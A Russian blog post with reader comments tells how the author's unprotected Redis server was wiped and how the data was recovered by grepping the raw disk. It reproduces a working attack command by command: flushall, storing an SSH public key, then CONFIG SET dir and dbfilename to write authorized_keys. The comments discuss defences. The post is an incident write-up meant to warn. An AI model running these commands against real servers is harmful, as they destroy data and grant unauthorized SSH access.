Наверняка, читатель знает или хотя бы слышал про Redis, но на всякий случай напомню, что это высокопроизводительное key-value хранилище (подброней можно почитать на wiki или тут). Начнем с того, что в документации говорится, что Redis должен быть доступен только внутри доверенного окружения, что с одной стороны правильно, так как обеспечением безопасности должен заниматься администратор системы, но с другой стороны об этом больше нигде предупреждеается.
Redis предоставляет некоторый базовый функционал для безопасной передачи данных внутри незащищенного соеденения. Но мы не будем останавливаться на этом подробно, добавлю только, что, как бы примитивно это не звучало, безопасностью нельзя пренебрегать и нужно хотя бы использовать пароль. На это в документации также есть предупреждение:
Существует возможность контролировать настройки сервера используя CONFIG-команды для изменения рабочей дериктории или имени dump-файла. Это позволит клиетнам записывать RDB Redis файлы в любую папку, что является проблемой безопасности.
Kто-то воспользовался вышеупомянтой статьей и с помощью нехитрых манипуляций смог навредить достаточно большому количеству людей (это видно из комментариев к статье).
Атака происходит следующим образом (пример взят из статьи):
Прежде всего, нужно найти незащищенный Redis-сервер. Генерируем новый RSA-ключ. Создаем файл с пустыми строками вначале и вконце нашего RSA ключа:
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
Удаляем все ключи и записываем данные из файла:
$ redis-cli -h 192.168.1.11 flushall
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
Теперь осталось записать данные из харнилища в файл authorized_keys
$ redis-cli -h 192.168.1.11
> config set dir /Users/antirez/.ssh/
OK
> config get dir
1) "dir"
2) "/Users/antirez/.ssh"
> config set dbfilename "authorized_keys"
OK
> save
OK
Готово. Если все прошло успешно, то мы стерли все данные из хранилища и теперь можем подключиться по ssh. Не очень приятно, правда? На самом деле это не конец и данные можно восстановить, даже если нет бекапа. Как раз об этом моя небольшая история ниже.
Наш проект реализован на Django и использует django-constance. Redis распологается на отдельном сервере, для того что бы несколько других проектов могли его использовать.
Одним прекрасным вечером мне начали приходить сообщения о странных ошибках. Когда выяснилось, что данных в Redis-хранилище нет, началсь небольшая паника.
Оказалось, что django-constance не найдя данных, заполнил все со стандартынми значениями, но этот факт еще больше запутывал происходящую ситуацию. Постепенно я начал осознавать, что бекапа ни у кого нет и на восстановление данных уйдет порядка двух дней, что никак не могло порадовать. Позже выяснилось, что после ухода предыдущего разработчика, у меня не осталось доступа к серверу, на котором расположен Redis, поэтому понять, в чем проблема сразу не получалась. Ситуация неприятная, но сдаваться было рано.
На этом проблемы не заканчивались и моему удивлению не было предела, когда я смог подключится к хранилищу без пароля, чем, судя по всему, и воспользовался злоумышленник. Внимание привлек странный ключ “crackit” и после недолгого гугления стало понятно, что кто-то воспользовался статьей указанной в самом начале.
Заодно решив проверить этот способ и получить доступ к серверу, я попробовал провести атаку, но права доступа на папку .ssh запрещали запись для пользователя redis(под которым сервер работает по умолчанию). Так я хотя бы удостоверерлся, что злоумышленик не получил полного доступа к серверу.
Восстановление
Перед тем как предпринять какие-либо действия, я сделал полный бекап жесткого диска, для того что бы оставить данные в первоначальном виде. Сразу пришла идея востановить удаленные данные с помощью какого-нибудь софта, но попробовав пару утилит, которые не принесли никаких результатов, я начал осозновать всю трагичность ситуации. По московскому времени уже было 4 утра, а на другой стороне планеты, где запущен проект, была уже середина рабочего дня и все ждали, когда проект заработает. Почти смирившись с тем, что данные восстановить не получится, я решил еще раз пройтись по возможным вариантам. И тут мне в голову пришла мысль, показавшаяся мне сначала довольно странной. А что если пройтись поиском по /dev/sda1?
Соответственно данные, если они еще не затерлись, должны были остаться там. Вопрос как их найти тоже решился довольно быстро. Открыв файл Redis базы в текстовом редакторе, я увидел, что ключи и значения хранятся там в чистом виде. Все интересующие меня ключи начинались с “constance:” эту особенность и было решено использовать для поиска.
Не ожидав что это может сработать я выполнил команду grep -a ‘constance:’ /dev/sda1 и начал ждать. Мое удивление было велико, когда на экране стали появляться первые записи. Собрав и немного обработав результаты, я стал их анализировать. Хорошо, что за день до случившегося один из ключей был исправлен и был уникальным, а по нему уже было нетрудно найти и остальные валидные данные. Спустя 40 минут было восстановлено 135 ключей из 147. Осталось только не забыть добавить пароль в настройки Redis-сервера.
Комментарии (15)
Suvitruf
13.11.2015 14:14+13Я не совсем понимаю, почему «незащищённый Redis», если по факту — «незащищённый сервер».
но с другой стороны об этом больше нигде предупреждеается
По-моему, если в самом начале доки о безопасности говорится, что «Redis is designed to be accessed by trusted clients inside trusted environments», то к этому надо прислушаться.
Не надо подобные сервисы высовывать наружу.dadon
13.11.2015 16:00-3Я разработчик, а не сисадмин и тоже попался на эту уязвимость redis.
Никого обвинять не собираюсь, но как-то привык, что популярные open source проекты, из коробки лишены таких «детских» проблем.
Для разработчиков redis не составило бы никакого труда, слушать только локалхост в настройках по умолчанию. Но они решили добавить строчку в документацию.grossws
13.11.2015 16:05+4Для разработчиков redis не составило бы никакого труда, слушать только локалхост в настройках по умолчанию. Но они решили добавить строчку в документацию.
Это не к разработчику, а к мейтейнеру дистрибутива (конфиг по умолчанию) и админу (firewall должен закрывать все порты, кроме white list'а).
Ovoshlook
13.11.2015 15:41-8Смешно, но данная дыра в безопасности обходится другой «дырой» — отключением авторизации ssh по ключу и включением авторизации по паролю))
funca
13.11.2015 16:03-1Дыра в том, что незапароленный Redis открыт наружу. Внезапно, это дает возможность кому угодно в таком redis менять ключи, или удалить их все командой flushall.
Сценарий с записью в authorized_keys это отдельная маловероятная история. Для этого надо запускать открытый наружу redis под нормальным пользователем, у которого есть доступ по ssh. В идеале, сразу «исподрута». ;)
Railsmax
13.11.2015 23:47+1Ну это все круто и важно но когда редис используется только для кэша(а я думаю 80% именно так и пользуют) — пожалуй нет ничего криминального в том что потрут базу. Конечно не приятно и конечно не хотелось бы, но никто не умрет от этого. Да и собственно если у вас открытый сервер со свободным входом откуда угодно — чего на редис пенять?
lexore
14.11.2015 13:17-3Как один из слоев обороны, redis поддерживает переименование команд.
Например, в конфиге можно указать:
rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
Кстати, это пример из документации.
Можно переименовать команды config, flushall, save и т.д.
Но это не панацея, а одна из частей комплексного подхода к безопасности.
Так же это увеличит защиту откота на клавиатуреслучайных ошибок.
AlexeiZhuravlev
Может быть вы мне поясните, не понятно вот что — Вы базу Редис гоняете рад пары сотен ключей?
enum
Просто потому-что удобно. Django-Constance позволяет проставлять стандартные значения для переменных, в них мы храним, например данные от аккаунтов для разных сервисов, которые используются в проекте. Для разработчиков это удобно тем, что все будет работать сразу и правильно, а на продакшене ставим другие значения. А также на сандбокс и продакшен сервера у нас один редис-сервер.
AlexeiZhuravlev
Ваш подход — это как слоном гвозди забивать. То что он работает сомнений нет, но зачем ради этого целую базу поднимать?
и то, что у вас несколько сотен ключей — не проще было сохранять данные на диск каждые n-секунд?Учитывая ваш подход
Весь ваш «незащищенный Redis» — это просто использование неподходящего инструмента и полная безответственность. Когда никто и не за что не ответчает и как-то все работает на авось.
enum
В чем-то вы правы, но если бы не пострадало от этого много людей я бы не писал статьи. Может быть все таки дело не в безответственности, а в том что разработчики должны учитывать такие нюансы? Одно warning-сообщение в логе, например не помещало бы.
AlexeiZhuravlev
Так может быть зарплату платить не вам, а warning-сообщению?
AlexeiZhuravlev
Вы храните пароли от соц сетей в общедоступной базе редис.
Дарю идею для новой статьи — Незащищенный Facebook, или кто виноват?